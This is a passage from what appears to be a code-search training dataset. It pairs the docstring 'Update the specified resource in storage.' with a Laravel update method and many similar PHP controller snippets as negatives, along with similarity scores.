{\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
[ "0.7854417", "0.7692986", "0.72741747", "0.72416574", "0.7173436", "0.706246", "0.70551765", "0.698488", "0.6948513", "0.694731", "0.69425464", "0.6929177", "0.6902573", "0.6899662", "0.6899662", "0.6878983", "0.6865711", "0.6861037", "0.6858774", "0.6847512", "0.6836162", "0.68129057", "0.68083996", "0.68082106", "0.6803853", "0.67966306", "0.6794222", "0.6794222", "0.6789979", "0.67861426", "0.678112", "0.677748", "0.67702436", "0.67625374", "0.6748088", "0.67475355", "0.67475355", "0.67446774", "0.6742005", "0.67374676", "0.6727497", "0.6714345", "0.6696231", "0.6693851", "0.6689907", "0.6689746", "0.6687102", "0.66870165", "0.6684574", "0.6670877", "0.66705006", "0.6667089", "0.6667089", "0.6663205", "0.66626745", "0.66603845", "0.66593564", "0.66560745", "0.66545844", "0.66447026", "0.6633528", "0.66319114", "0.66298395", "0.66298395", "0.6622365", "0.6621021", "0.66170275", "0.661664", "0.6612467", "0.66107714", "0.6608453", "0.65979743", "0.659645", "0.6596389", "0.6592672", "0.6591205", "0.6588125", "0.6582166", "0.6581656", "0.65811247", "0.65785724", "0.65782833", "0.6576397", "0.6570971", "0.6569483", "0.6568432", "0.656811", "0.6563493", "0.6563493", "0.65622604", "0.65602434", "0.65585065", "0.6557997", "0.65574414", "0.6556701", "0.65565753", "0.6556226", "0.6556107", "0.6549118", "0.65485924", "0.65463555" ]
0.0
-1
Update the specified resource in storage.
public function update(Request $request, $id) { $education = education::find($id); $education->school = $request->schoolName; $education->degree = $request->degree; $education->major = $request->major; $education->start_date = $request->startDate; $education->end_date = $request->endDate; $education->save(); return redirect('profile'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = 